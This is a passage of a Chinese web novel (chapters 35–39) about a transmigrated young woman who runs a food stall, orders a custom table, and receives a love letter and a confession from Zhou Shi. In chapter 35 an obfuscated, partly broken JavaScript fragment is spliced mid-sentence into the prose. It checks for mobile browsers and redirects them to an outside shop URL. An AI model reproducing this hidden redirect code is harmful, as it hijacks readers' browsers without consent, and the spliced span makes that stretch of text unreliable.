李四听到长辈不反对,那笑容跟周时一样灿烂,他笑着拍了拍周时的肩膀:“行,只要长辈不反对,那就算成了一半,加油啊大侄子,有需要四叔和你小叔帮忙的,尽管说。” 周时点头:“知道了,所以你们能离开我房间了吗?” “行行行。”李四佯装伤心,长长地叹了口气,“唉,孩子大了,在房间里待一会儿也不行了。” 李四这副样子周时不是第一次见到了,他没有任何反应,下床、洗漱、吃早饭,然后拿上工具上山。今日他不去打猎,只去检查山上的几个陷阱,因为徐安然今天要去镇上摆摊,他也想跟着去。 即使,家里好像没什么可以卖的猎物了。 不过,他有一个更好的借口,李四昨日喝多了,今早起来头疼得不行,所以今天的牛车由他代拉。 今日两人的缘分可谓十分深。因为除了她之外,村里没有一个人要去镇上了。 “今日就我们俩吗?”徐安然还是不敢相信。 “对。”周时回。 她认命了,抬脚爬上牛车,然后在周时的协助下,将带着的食物摆放在自己脚边。 车上除了她的东西之外,还有一个小推车。 “这是?”徐安然好奇地问。 “我小叔家的推车,给你用的。”他解释道。 徐安然从未跟任何人说过自己想买小推车这件事,至于周时是怎么知道的……是那天一起逛街的时候,路过一家商贩时,她一直盯着商贩的推车看。 “我小叔年轻时卖过几年货物,这推车就是当时买的,我拿回来改了改,还能用。” “哇塞。”徐安然惊讶地看着周时,“没想到工匠的活儿你也会一些呀。” “都会一些,但不算精通。” “哎,此言差矣,这已经很厉害了。” “跟徐姑娘比,还差一些。” 徐安然摩挲着下巴,十分赞同地点头:“那倒是……” 交流间,周时已经走回到牛车前方,他抬脚上车,拉紧绳子,前方的牛接收到指令后,于是抬脚缓慢向前。 一路上,气氛突然变得奇怪。 徐安然想要聊天,但又不知道该聊些什么,索性不说话了。 “四叔昨日喝多了,今日头疼,所以就让我来替他一天。” 周时也不知道该说些什么,于是只能解释今日的情况。 “哦。”原来是这样。 “四叔年纪大了,还是让他少喝些酒比较好。”想了想,她又补充道。 “嗯,我会说他。其实我平日不喝酒。” “额……我也不喝。”徐安然接着回。 车子行驶到半路,经过一处安静的小路,四周都是竹子,风一吹,竹叶哗哗响。 徐安然安静地看着这一切,心中还是有些不敢相信,她居然真的在陌生的朝代生活了两个月。 她又转头盯着周时,想了想,说:“卖完这些荸荠,我想去买些桌椅,你知道镇上哪些店比较靠谱吗?” 家里的家具真的该换了,今天只有他们两人,牛车空间很大,足够放的。 好不容易等到徐安然说话,周时想也不想直接回:“知道,我带你去。” “好~谢谢周大哥。” “别跟我客气。” 话落,又恢复安静。 直到牛车缓缓靠近城门,耳边熙熙攘攘的声音逐渐清晰。 周时将牛车放在老地方,将牛捆好,徐安然则慢慢将车上的东西拿下来。 见状,周时连忙跑过来接过她手里的东西:“我来。” “没事儿,没事儿,我自己也行。我也不能啥事都依赖你呀。” 徐安然只是随口一说,但周时却认真了。 “只要你想,就行。” 徐安然手上的动作一顿,随后又跟个没事人一样,打着哈哈说道:“周大哥,你说话,总是令人误会。” 他是故意的,但他不敢这么说。 算了,徐安然好像有意装傻,那他就稍微收敛一下吧。 “对不起。我这人不会说话。” “没事儿,没事儿。” 两人合力将东西放在推车上,然后推着车子朝书院的方向走去。 有了推车之后,果然方便许多,而且推车上有一块木板,可以拆卸下来,充当桌子使用,推车轮子很顺滑,即使不用周时帮忙,她也毫不吃力。 “这推车不错嘛,也替我谢谢你的小叔哦。等会儿我留下一份荸荠,你带回去,作为答谢。” “这个答谢可以,我小叔听说你做菜好吃,一直馋着呢。” “那就好,这个绝对不会让他失望,就是不知道你小叔喜欢喜欢吃甜的?”徐安然问。 有些人不喜欢吃甜的,即使多好吃都不爱吃。 此话一出,周时脑海里便闪过了小时候李祥云见到甜食就一脸痛苦的画面,但是…… “他喜欢,他最喜欢吃甜的了。” 徐安然放心地点了点头,“那就好~” 有了推车之后,她们从城门口去书院的路途快了许多。 今天书院的学生们并不确认徐安然会不会过来摆摊,但他们还是在中午休息的时候走出了书院,结果没想到这一出来,便见到了缓缓推车而来的徐安然。 “姐姐!!” 远处传来几声高兴的呼唤。 徐安然顺着声音看过去,都是几个熟悉的面孔。她挥了挥手,笑容格外甜。 “快快快,老板姐姐来了。” 大家两步并作一步,飞快地来到徐安然的摊位前。一个个甚至都忘了问今天是什么东西,一个劲儿地说给我来一份。 “今天只有拔丝荸荠,为了保证还是热的,我就不摆出来了,还是跟上次一样,按斤卖,一斤十五文,半斤八文,买一斤更值,最低半斤起卖。” 荸荠这东西本来分量就重,所以一斤其实不算多,而为了让大家都一斤一斤地买,她便稍微弄了个优惠。 果不其然,大家还是跟之前一样,一次买一斤,当然有些学生机灵,买了一斤之后再以七文钱的价格出售半斤,这样双方都能省钱。 徐安然并不制止这样的行为,因为这只是少数。 很多学生甚至觉得一斤根本不够吃。 大家吃了甜甜的荸荠,说话也变得格外甜。 自从知道徐安然年纪稍微比他们都年长些后,一口一个姐姐,反正什么夸人的词汇都用上了。 徐安然虽然很受用,但是…… “你们再怎么夸,我都不会降价滴。都是这个价,谁来都一样。” 即使是永和镇的县令。 此刻他就站在徐安然的摊位前,大家都知道他的身份,只有徐安然和周时不知道,不说一般老百姓不犯事儿不会轻易见到县令,即使见到了,也是认不出的。 毕竟没人会觉得,县令会来买这种街头小吃。 “大叔?你要几斤?” 徐安然抬头,问站在她的摊位前,却一直不出声的穆鸿轩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232552|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此人她有些印象,来过几次,周身的气质令她觉得此人身份不一般,至少在书院里,算有身份的。 “哦,给我来五斤。” “五斤?你确定?” “没说错,我这年纪,不至于连一斤和五斤都分不清吧,” 穆鸿轩声音中气十足,倒也不像是个说糊话的。于是徐安然利落地给他装了五斤,没等她递过去,便有一只着急的手直接夺过了她手上的荸荠,速度之快,徐安然甚至愣了一会儿才抬起头。 果然是葛学义这老头。 “老夫子,您不至于吧……”她无奈地说,这样的情况,已经出现不止一次了,但每次都令她感到猝不及防。 虽然不知道穆鸿轩的身份,但她知道,眼前的葛老夫子和这位中年男人关系不错,甚至亲切地称其为老师。 “可说呢,不至于吧。”穆鸿轩也模仿着徐安然的语气。 与此同时,不远处又传来一道语气带着些许嘲讽的声音,“天天跟自己的学生强东西吃,你还好意思说我。” 说话之人正是苏在。 他到时,徐安然摊位周围的学生已经散去不少,但好在,荸荠还剩下一些,他直接大手一挥,将其全部买走了。 “姑娘,剩下的荸荠我都包了,你也早点回去吧。” 徐安然可太喜欢这样爽快的顾客了,小鸡啄米般点头,手上十分快速地铲着。 “好咧,谢谢这位大气的夫子。” 倒是想跟徐安然聊两句的葛学义有些不乐意了,“苏夫子,你这话,有点像是要赶人走的意思呀。” “我可没有这样的意思啊,你别污蔑我。” 趁着两人斗嘴期间,穆鸿轩连忙夺过葛学义手里的荸荠袋子。 他买五斤,本意就是为了跟老师一起吃的,所以即使先被他抢了去,也不生气。但是,他也要那样抢回来,气势不能输啊。好歹是县令,况且还有两个小辈在呢。 “行啦你们俩,好吃的都堵不住你们的嘴巴。”穆鸿轩拿到荸荠后,总算出声劝“架”了。 这一幕挺有意思的,徐安然伸手到兜里抓了一把瓜子,靠在餐车上观赏。对了,还给周时也递去一把瓜子。 只是周时没吃,只是帮徐安然拿着。 两位夫子压根不搭理穆鸿轩,嘴里吃着,手上比划着,偶尔说出两句怼人的话。 见状,穆鸿轩干脆来到徐安然附近。 他打量了一番她身后的周时,然后又看了一眼徐安然,心下了然。 “姑娘,你这荸荠好新鲜,是自己家种的吗?” 徐安然摇了摇头,“不是,山里挖的。” “哦?”穆鸿轩来了兴趣,他追问道,“哪座山挖的呀?” 见徐安然眼神带着探究,他连忙补充:“我不是要抢你的生意,我对烹饪感兴趣,更对食材感兴趣,我看这道菜的所用的食材比较简单,所以也想挖些回来试着做做看。” “您不用跟我解释,是在我们山亭村的其中一座山里挖到的,那儿比较危险,所以您想去的话,最好多带上几个人一起。” “那你是如何上去的?是不是你身后这位兄弟……” 徐安然顺着他的话转头看向周时,眼睛一转,摇了摇头:“不是。” 之前听小柔说过,周时不喜欢带别人上山,所以为了避免给他添麻烦,她直接否认了。 穆鸿轩也是个人精,知道徐安然不想在这方面说太多,便也不问了。 “行,我知道了,多谢姑娘告知。” “不客气,没什么事,我们先走了。” 斗嘴的两人停下来了,也没什么热闹可以看了,徐安然立即决定离开。 但是在离开之前,又被葛学义叫住。 “孩子呀,等等。” “嗯?”徐安然转过头,疑惑地看着葛学义。 “明日来否?” “休息两日,第三日再来。” “行!知晓了,回去吧。” 徐安然向来说话算话,所以得到她的答复之后,葛学义也放心了。 他问这一嘴,其实也是为了心里踏实,他总觉得,徐安然不会一直在这边摆摊,她会离开。 而且很快就会离开。 36. 第 36 章 徐安然本以为这次可以离开了,结果没想到又被人叫住了。 这次是书院的学生。 徐安然有些印象,从她第一天到书院摆摊开始,这人就一直在她这儿买吃的了,所以徐安然并没有任何的不耐烦,而是礼貌地问:“有什么事吗?” “徐姑娘。”来人小跑到她面前,话刚出口,却又有些吞吐,而且脸越来越红…… “额……什么事?我三日后才来摆摊。”她以为是这件事,毕竟这段时间这是最多人关心的问题。 “哎呀!不是!”男子面容白净,穿着整齐。他悄悄抬眼看了徐安然一眼,于是将手里的信纸递了过去。 “我想说的话都在这里面,你回到家再看!”说完,连忙跑开,但中途又停下来,大声说道,“对了,我叫陶尹全!” 这个场面……徐安然很熟悉。 手里的该不会是情书吧? 徐安然顿时觉得有些烫手。可下一秒,就被周时夺了过去。 徐安然:??? 礼貌呢,大哥。 不过他拿走也挺好的,她现在真不敢看啊。 这让她以后还怎么若无其事地在这边摆摊呢? 但或许也是她想多了,可能将的是别的事情。 于是徐安然对周时说:“给我。” 周时立刻将手里的信还给徐安然,并解释道:“我看你脸色不太好,还以为你嫌麻烦。” “没事,你推车吧?”她倒要看看,这封信里写的是什么。等回家再看?她没这个耐心。 于是当着周时的面儿,徐安然打开了信封。 果不其然,通篇都是爱意。 她甚至只是对这个人有那么一点印象,甚至这个人都不知道她的全名叫什么。 所以这封信即使写得很浪漫,她也无感。 “唉,魅力太大的烦恼。”徐安然将信重新放回信封里,她肯定不会接受,现在能做的,就是将这封信重新还给那个男子,然后认真地拒绝。 毕竟对方也是带着欣赏看待自己的,即使拒绝,也得礼貌的拒绝。 这是徐安然的想法,但周时不知道啊,见她将信那么认真地装回去,他快急疯了。 好端端的,怎么突然来了个竞争对手,而且眼看就要成了的样子? 难道徐安然喜欢这样白净的男子,还是说她喜欢读书人?还是说她喜欢这样的告白方式? 周时脑子里一片混乱,导致路都走错了,若不是徐安然发现得早,两人就要走散了。 “喂?周大哥,你想什么呢?推车都能分神。撞到路人怎么办?” 周时一脸歉意,“对不起,不会再这样了。” 认错倒是挺快的,徐安然还没来得及生什么气呢,火就消了。 “也不至于哈,专注些就行了,或者我来推吧。”反正信也看完了。 “不必,我在,岂能让你来,其他人怎么看我?” 徐安然视线扫向周围的人,确实……周时这个体格,好像她来推车的话,周围百姓的目光应该都会聚焦到他身上。 “那行吧,辛苦我们周大哥咯。” “小事儿。” 两人并排走着,推车上东西都卖完了,此刻轻得很,所以两人决定直接去买桌椅。 周时带着徐安然来到西街,这儿虽然没有东街商铺多,但是卖的东西种类很丰富。桌椅也有,并且可以定制。 路上,周时时不时转过脸看徐安然,不知道是不是错觉,徐安然看完那封信之后,心情格外好,笑容更多了。 反正是比一开始来的时候多的。周时心里很不是滋味,想问问,但又不知道以什么身份…… 但是不问,他心里更不得劲儿。 于是在做了许久的心理建设后,他问:“那封信,写的什么呀?”他语气僵硬得不行。 不过心里算数的徐安然没听出来,随口回道:“没什么,夸我的。” 确实通篇都是夸她的,最后一行字才是主题。 “就这么简单?”他又追问。 此时徐安然抬起头,看着周时的眼睛,认真说道:“当然没有那么简单啦!想夸我直接说就行了,哪里还要些一封信,这自然是告白信。” “那你什么想法?你喜欢?”周时急了,语速都快了不少。 看周时这个样子,再联想到前段时间小柔的说的话,以及他的种种举动,徐安然决定炸一炸他。 “也谈不上喜欢吧,不过我娘说得对,我都这个年纪了,是该考虑一下终身大事了吧。” “你不是说你并不着急吗。” “是不着急,但看我嫁个好人家一直是我娘的心愿,她年纪也大了,身体一年不如一年,我再怎么不着急,也得想想我娘吧……” 这是徐安然的心里话,不过婚姻之事,还是不能勉强。 “我瞧着那男子还不错,读书人,家里应该有些底蕴……” “你别说了。”这是周时第一次打断徐安然说话,而且语气很凶。 倒是给徐安然吓了一跳。 她没好气道:“你那么凶干什么啊?是你自己问的,不说就不说了呗。” 说完,自己走在前面,理也不理身后的周时。 见状,周时立刻懊恼地打了自己一嘴巴子,然后连忙追上徐安然。 “工匠铺的位置比较难找,我来带路。”他说。 “……” “我不是故意要凶你,你别生气。” “……” “我错了,我再也不打断你说话了。” “……” “西街有家很有名的馄饨面,我请你吃吧?” “……” “理理我好不好?” 徐安然错愕地看着周时。他刚刚是在撒娇吗?一个一米九的、快一百七十斤的男人跟她撒娇? 很恶寒的好吗。 “得了得了,你别这样说话,怪瘆人的。”徐安然终于说话了。 虽然听着不是什么好话,但周时知道,她已经不生气了。 “那我们先去吃馄饨面。” “先去工匠铺吧?” “听你的。” 没多久,两人便抵达了目的地。 看着眼前只有一块招牌,但店铺宽度仅有三米的店铺,徐安然忍不住发出质疑:“这就是你说的……工匠铺?会不会太小了?” 周时神秘一笑,朝屋内喊了一声。 很快,一个乐天的老头出现在他们面前,该怎么形容这个老人家呢…… 半白的头发随意扎了个两个辫子,其余的全部散落下来,衣裳松松垮垮地挂在身上,露出两节竹竿似的瘦弱的手臂。 唯一值得探究的是,他手上拿着一把精美的斧头,应该是在出来前,还在忙活。 “哎,这不 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这儿真是木屑满天飞,徐安然强忍着不适,连忙摆手道:“不必特意打折,原来的价钱是多少我就付多少。” “哎,谁说是特意打折了?时朋友来我这儿买抖这个价。而且别看我老头穿得破破烂烂,但是不缺钱花,所以放心买,最后都给你打七折就是了。”钱一行十分豪爽地说。 徐安然才不信呢,她求助地看向周时。 接收到她投来的视线,周时递给她一个安心的眼神。 “老头说的是真的,他在东街还有一处宅子,平日不住在这里,只有他手底下的木头们住在这。” “真的?这么土豪……”能在东街有宅子的,非富即贵,只是没想到老爷子居然会选择在西街摆摊。 趁着钱一行收拾屋内的功夫,周时小声地跟她解释:“老钱家以前生意做得很大,是周围三个镇最富有的商人,不过在二十年前,跟着他白手起家的夫人去世了,老钱承受不住打击,也没了心气经营那么大的商铺,于是将手里的店铺抖卖了,回到一开始两人相遇到地方开了这家小店,偶尔靠手艺赚钱。” 听周时这样说,徐安然也大致猜出了老爷子的性格。 是个执念很深的人,也是各重情重义之人。 “那老爷子怎么也没个一儿半女的?” “听说是她夫人身体不好。”周时没有说得太具体,但徐安然也听明白了。 “原来是这样……” 徐安然还想再说些什么,钱一行就突然出声打断了她。 “进来吧,我收拾好了。哎呀,我这店平日客人少,这几日就疏忽打理了,见笑了,见笑了。”说完,他看着徐安然,关心地问,“小姑娘,现在好些了吧?” 刚刚徐安然的难受他都看在眼里,有些人天生就受不了碎木屑的气味,他能理解,因为他夫人也这样。 只是…… “好多了,不好意思,麻烦您了。” “哎,那里称得上麻烦二字,你们尽管选,桌子椅子,还有柜子,我这都有。如果没有喜欢的款式,你描述你喜欢的款式给我听,我画出来,三日后再来拿就行。” 听到可以口头描述款式,徐安然便来了兴致。 “老爷爷,什么款式你都会做吗?” 钱一行听到此话,十分自信地回了句:“当然!有想法?那跟我说说。” “行,那我们坐下说!” 37. 第 37 章 徐安然和周时找了个地方坐下没多久,钱一行便拿着纸笔快步走来啦。 “我平日不住在这里,也没啥吃的,不如我们去隔壁的馄饨店边吃边聊?” 徐安然看了周时一眼,询问道:“是那家馄饨面吗?” 钱一行十分惊讶,“你来过?” 徐安然摇了摇头:“听周时说过。” 听到徐安然叫自己的名字,周时有那么一瞬间的呆滞,这好像是她第一次这样叫他的全名,还挺……好听。 “那更好,那家的馄饨面是十里八方内味道最美的,你该试一试。这样吧,今日我请客!”说完,他上手将周时从椅子上拉了起来,“走吧走吧,别干坐着了。” 见他这么热情,两人也不推脱了,跟着他的脚步,前往那家两人都给出极高评价的馄饨店。 一路上,许多人的视线朝他们看过来,终于有个中年大叔在扭头看了三次之后,总算忍不住出声询问了。 “老钱,你家亲戚啊?” 虽然和钱一行认识,但周时其实常来这边,所以很多住在这附近的百姓都没见过他,因此才会认为是他的远方亲戚。 “是啊,怎么滴?” “见你常年孤身一人,还以为你没什么亲戚朋友呢,这样挺好的呀。” 男子其实没什么坏心眼,只是比较好奇罢了。 “我自己一个人也很好,自在又逍遥~” 嘴上是这么说,但今日有人跟他一起吃饭,心里其实格外开心。 “嘿,你就嘴硬吧。” “……” 馄饨店不算远,走一会儿就到了。这是一家移动的摊位,小推车上架着一锅正在烧着的沸水。 一名中年女子正在煮馄饨,在她的左手边,比她矮了半个身子的小女孩,正站在小凳上,娴熟地包着馄饨。小女孩瞧着才八岁左右,就已经是这个摊位上不可或缺的角色了。 正在煮馄饨的妇女精准锁定他们三人,热情地招呼。 “三位可要来碗馄饨面?馄饨都是现包现煮,食材新鲜看得见哦~” 钱一行从兜里掏出一个钱包钱袋子,拿了二十文钱,“三碗,多出来的给孩子买糖吃。” “行!那我这位新来的姑娘多下点馄饨。” 徐安然虽是生面孔,但却跟着老钱一块儿来,俩人或许沾亲带故,老板心里这么想。这么做也是为了借花献佛,毕竟平日里她们母女俩也没什么地方可以帮得上钱一行。 “客气了不是。”钱一行没拒绝,算是默认了。 他们三人坐在一张已经擦干净的桌子上,期间,徐安然的目光一直被不远处包馄饨的小女孩吸引。 “那女孩是老板的女儿?”她问。 钱一行顺着她点视线看过去,点了点头:“是,今年八岁。” “看着很懂事,她父亲呢?”整个摊位只有老板和她的女儿在忙,不见第三个人。 说到这儿,钱一行压低声音:“赌博,三天两头被人追上门追债,没钱了就打妻女,这会儿估计又在哪个赌场玩呢。唉,这娘俩也是命苦的人,所以我能帮就帮着点吧。” 赌博的人能是什么好人,即便没见过女孩的父亲,徐安然心里已经做了判断。 很快,三碗热腾腾的馄饨面上桌。小女孩跟在母亲身后拿着筷子和勺子。 她声音甜糯糯的:“筷子已经洗干净了,爷爷、哥哥姐姐慢慢吃。” 徐安然要被这嗓音甜化了,摸了摸女孩的头,“谢谢小妹妹。” 随后,她将目光看向眼前的馄饨面。有些寡淡,好在桌上有辣椒水,她连忙倒了些,直到白色的汤变红,这满意地笑。 “还挺能吃辣。”钱一行调侃道。 “加些辣椒更好吃。”她笑着回。说完,先喝了一口汤,虽然汤看着寡淡,但味道并不清淡,盐味挺重的,还加了些花椒。 汤很烫,再加上有花椒的加持,所以舌头有些发麻。 喝了汤,再吃一口馄饨,馄饨皮很薄,肉眼就能看到里头红色的肉,加了酱油的,所以颜色有些重。吃起来甜丝丝的,虽然里头有些肥肉,但肉已经剁得很碎了,吃不出肥肉的腻味来。 “如何?”见徐安然咽下馄饨,周时迫不及待地问。 徐安然本就有些饿了,吃完一个又接下一个,没空回答他的问题,但伸着的大拇指已经替她回答了。 见徐安然喜欢,周时心里也跟着开心。 “镇上还有许多像这样的美味小吃,以后我一一带你去吃。” 她一口答应:“嗯!行!” 这过程中,钱一行一言不发,默默吃瓜。 徐安然已经吃得忘我了,已经忘了还有事情没做。 最终,钱一行实在看不下去了周时盯着徐安然吃饭时傻笑的模样了,轻咳了一声。 “你们俩是不是忘了还有件事?”说完,他拿出了纸和笔,将馄饨碗挪到一边。 有了他的提醒,徐安然总算想起来正事。 “对哦。” 他们都没什么讲究,笔墨不脏,所以她一边吃,一边跟钱一行口头描述桌子的样式。 “我要做的是一个圆桌,在中间桌面下方装一个滚珠轨道,再放上一块似比圆桌要小一些的圆木板,这样吃饭的时候,可以一边转一边吃。” 她说的就是现代饭馆常用的旋转餐桌,这样的桌子其实不难做。 钱一行这个老木匠一听就懂了。 “我明白你的意思了,你放心,这个我会,只不过这个价格嘛……”钱一行看向周时。 没等周时说话,徐安然便激动地说:“价格不是问题!您先给我做一个出来,等日后我再跟您定做。” “行,够爽快,定金二十文,五日后来这儿找我,再付五十文。” 平日这样复杂程度的桌子,他都要收费一百文,这个价格已经是打折后的价格了。 徐安然觉得很合适,毕竟木头什么的都不需要她来提供。 她接过钱一行手上的笔,大致画了一个图案。 “钱爷爷,您就照着这个图上的样式做就行,什么图案都不用雕刻,只要这样一个简简单单的桌子。” 桌子最好是平整的,对于她们这些平民百姓来说,这样的桌子好打扫,且不容易藏污纳垢。 钱一行大致看了一眼图案,说实话,徐安然画技不 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周时巴不得他就是徐安然的免费劳动力呢,所以听见她这么说,笑得比她还开心。 “嗯。” 回去的路上,周时除了开心之余,心里还藏着一件事,就是那封信,像一根针一样,扎得他心里很不舒服。 他们回去的路上会经过茶馆,周时将牛车停在这里。 “怎么了?”徐安然有些茫然,“你不会要现在去打扫茶馆吧?今日太累了,明日再说。” “我有话想问。” “嗯,你说。”徐安然并着腿儿,将手搭在腿上,十分板正地坐着,且十分严肃地看着周时。 “今日那份信,你接受了?” 徐安然差点都要将这事儿忘了,周时一句话又让她记起来了。 她失笑:“你是从哪里看出来我接受了?我是那么随便的人?” 听到自己想听到的答案,周时松了口气。 “那就好。”说完后,他回过神来,连忙否认,“不是的!” “知道就好,问完了,可以回去了吗?”徐安然催促道。 她跟馄饨摊的老板买了些没煮的馄饨,打算回去煮一些给苏清呢。她吃了好吃的,家里的娘也得吃到这份好吃的。 徐安然美滋滋地想。丝毫没注意周时越来越红的脸。 “那……那你觉得我这个人怎么样?” 此话一出,徐安然终于发现周时不对劲儿了,这男人脸红得快跟西红柿一样了。 “等会儿!”她连忙阻止周时,“你接下来要说什么?” 周时的问题没有被回答,而且接下里要说的话又被她打断,脸更红了。 “徐安然,我还想问,你觉得我这个人怎么样?”说完,小心翼翼地看了她一眼,“跟你,合适吗?” 这还是周时第一次叫她全名吧。徐安然有些懵。 这是要闹哪样? 表白? 这么随便的场合,而且,还是在旧茶馆外…… 38. 第 38 章 “你你你你你……先闭嘴!”徐安然大声呵斥。 正要说话的周时,通红的脸上露出一抹茫然,“我还没说呢。” “你不许说,反正现在不许说,送我回家!”徐安然说。 她虽然没什么恋爱经验,但没少看爱情小说和偶像剧,周时现在这个状态,就是要跟她表白的状态!她自己心里都乱乱的,如果他真说出来了,她自己也不知道该怎么回答,那样两人的关系是真的十分尴尬了。 所以还不如先别捅破这层窗户纸呢,只要没说出口,她就能当作无事发生。 “好吧。”周时有些失落,但是他不会拒绝徐安然的请求,“先送你回家。” 从茶馆回家的路上不算很远,所以到家之后,周时心里的那股冲动告白的劲儿还没完全散去。 徐安然将自己的东西从车上拿下来,此时苏清还在屋里和小兔子玩,丝毫不知道徐安然已经回来了。 他们今天回来的时间比较早,不是平日回来的时间,这也是苏清没有在门外等着的原因。 所以,这也给了周时机会。 在徐安然转身要进屋时,周时在她身后,用仅二人能听见的声音,语速极快地说:“我喜欢你,从那天清晨,你来我家找我的时候。” 徐安然要抬脚进屋的动作顿住了。 不是说了先别说吗! 这让她咋回答? 说不喜欢?其实也没那么绝对,但要是现在同意了,又太快了……满打满算也才认识三个月。 “我都说了你先别说!” “我不让你为难,你什么时候回答我都可以,我能等。”而且只等你。 他四叔说得没错,徐安然太优秀了,如果不早些表明自己的心意,他怕再也没有机会了。他承认自己有些着急了,但一想到今后可能会还出现类似于今天发生的事情,他心中就醋得不行。 并且很憋屈,因为他不知道该以什么样的身份吃醋。 现在说出来之后,心里反倒松了口气,至于徐安然是接受还是拒绝,他都可以接受。但接受是一回事,亲口听她说出拒绝的话又是一回事。 “周大哥……首先谢谢你喜欢我。但目前,我对你的想法,确实还没到男女情感那一步……”徐安然吞吞吐吐地说,“我吧,心里也不讨厌你……这样吧,我今日先不答复你,你等我考虑几日,行吗?” 她心里深处认为,如果现在就拒绝周时,可能会后悔。 她得花几天时间好好想想,自己是真的喜欢周时这个人,还是只是看中了他的劳动力…… 没有明确的拒绝就是好事,周时总算发自内心地笑了。 他大声地回:“好!那我先回去了,我家中还有些肉,晚些,我再送来。” “不用……” 没等徐安然说完,周时便大步离开了。离开时,脸上的笑容时就一直没停过,一直持续到自己家门前。 与坐在家门前的李四撞了个正着。 “笑得这么荡漾,发生什么好事了?”李四抖着腿儿,手里抓着一把自己炒的瓜子,已然一副等待吃瓜的样子。 他知道,自己大侄子今日跟喜欢的姑娘单独待了一天,所以这会儿十分好奇两人之间擦出了什么样的火花。 “四叔,你有点没分寸了。”周时莫名有些娇羞,“这是我的私事。” “嘿,还跟四叔见外。”李四从椅子上站起来,看了一眼自己的老牛同伴,“行了,把我的老牛栓回去。不想说就不说嘛,干嘛说你四叔没分寸?太伤我心了。” “嗯。”周时回的是李四的第二句话。他将牛栓回牛棚里,又喂了些新鲜的草料,随后将牛车拖回到牛棚左边。 这些工作他做得十分顺手,可见平时没少帮忙。 做完之后,一声不吭地离开了。只留下还在磕瓜子的李四。 虽然今天的周时除了笑容多一点,其他看着和往常没什么区别,但李四就是认为他心里有事。 “难道真要好事将近了?”李四猛地从椅子上站起来,屁股下的椅子承受不住这样的冲击力直接往后倒了,但他根本没心思将椅子扶起来,而是抬头看着天上。 “老哥啊,一起保佑我们的周时成功和心爱的女子在一起吧!” 周时这边,他回到家之后,洗了把手,第一件事不是做饭,而是匆匆来到厨房,拿上早已经准备好的扁担肉。 刚要出门,又停下低头看了眼自己身上的着装,随后将肉随手一放,跑回屋内换了套衣服,细节是书院的学生一样,是颜色为淡蓝色的衣服。 换好之后,拿上扁担肉,快步朝着徐安然家里的方向走去。 此时,徐安然正在厨房里,准备晚饭。今天在外面买了些没煮的馄饨,所以晚上她不想再下厨了。 跟着苏清一起吃馄饨,以及还剩下一些拔丝荸荠,一并当作晚饭。 周时来的时候,恰好见到正单手叉腰煮馄饨的徐安然。 现在周时都能直接进屋了,苏清允许的。 于是徐安然一转头,穿插着雾气,见到了逆光站在厨房门口的周时。 “你怎么来了?”她问。 “说好给你送肉,放下我就离开。”知道徐安然现在有些不好意思面对他,周时放下肉就要走。 徐安然没阻止,但却被苏清拦下了。 “怎么这么着急离开?索性傍晚没什么事的话,留下来一起吃个晚饭吧。不过今日安然不打算下厨了,家里只剩下些今日摆摊剩下的荸荠,哦对了,还有馄饨。” 苏清不知道馄饨就是跟徐安然跟周时一起吃的,还以为他今日还没吃过。 “安然说这馄饨很好吃。” 周时当然很想留下来一起吃饭,但是他看了一眼厨房里的徐安然,她一直没说话,想来是不愿意的,所以出声拒绝了。 “下次吧,苏婶,我一会儿还有事要忙。” “行吧,那苏婶就不留你了。你先忙你的。” “得咧。”说完,周时又朝厨房的方向看了一眼,这才转身离开。 徐安然瞧着对二人的对话不上心,实则全听了去。 傍晚还有事要忙?他不是说没啥事吗。徐安然心中疑惑。但人已经走了,问也问不到什么了。 晚上吃饭时,饭桌上十分安静。 苏清欲言又止了三次,终于在第四次,忍不住问坐在对面的徐安然。 “你和周时,闹别扭了?”她这样开门见山,打得徐安然一个猝不及防。 于是徐安然决定装傻,抬眼无辜地问:“什么闹别扭?” “你今日的情绪不太对,下午周时来家里,你居然一句话都没跟人说过,娘便忍不住往这方面想了。”苏清解释,“不会是周 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徐安然头大得不行。不过,既然苏清已经知道了,她也就不瞒什么了。 “是。”她点了点头。 苏清猛拍大腿,激动地说:“娘就知道!那你是什么想法呀?你该不会是拒绝人家了吧?” “倒也没有,没拒绝,也没同意。”纯钓着。 此话一出,苏清神色变得认真了些,她握住徐安然的手,“安然,喜欢就上,娘永远支持你,不论最后结果如何,娘也会一直,无条件,站在你这边。因为你是娘的女儿。” 自从来到这个家,跟苏清一起生活,她也变得感性了许多。 这时候听到这样一句话,眼眶又有些红了。 “娘,你真好~”她起身搬着凳子坐到苏清身边,紧紧挨着她,“娘,我在镇上找工匠定了张桌子,过几天就能去搬回来。” 她有意转移话题,于是将今天在镇上发生的事情,绘声绘色地讲给苏清听,连同那对在西街卖馄饨的母女。 苏清很喜欢听徐安然讲在镇上的见闻,她不爱去镇上,因为牛车一坐就是半个多时辰,她坐不住。 “娘,那个女孩让我想到了以前的自己,也是从这么小的时候,就开始赚钱了。” “你想帮她?”苏清问。 徐安然摇了摇头,“听说她家里还有个好堵的父亲,赌徒欠的债是无穷无尽的,我想帮,但不能一直帮呀。这个得她们自己想通,跟那赌徒断了之后……” 断了后,倒也不是不能帮,她的店开起来之后,需要人手。不过目前这个想法目前还是个雏形,人家不一定会愿意来店里工作,她们自己的生意做得挺不错的。 “没关系,不过你目前这个想法太天真了,你跟人家母女俩还不熟,只是见过一面的关系,并不真正了解她们的为人,如果你有其他想法,不妨再等等、再观望。” “嗯!娘说得对!我再观望、再观察。” “这就对啦~” 苏清温柔地摸着徐安然的脑袋,虽然眼前的女儿已经换了一个灵魂,但她能清楚感觉到,她们母女俩之间的关系,比之前更亲近了。她心里彻底接受了这个女儿。 39. 第 39 章 吃完饭后,徐安然没有跟往常一样,洗漱然后休息,而是来到厨房。 周时带来的肉很新鲜,但现在已经进入四月份了,气温每天都在升高,而且四月是雨水最多的一个月,她所在的地区又处于炎热潮湿的南边,没有冰块的加持,肉类不好保存。 所以她临时决定把肉给烧了。 这样即使留到第二天晚上也不会坏。 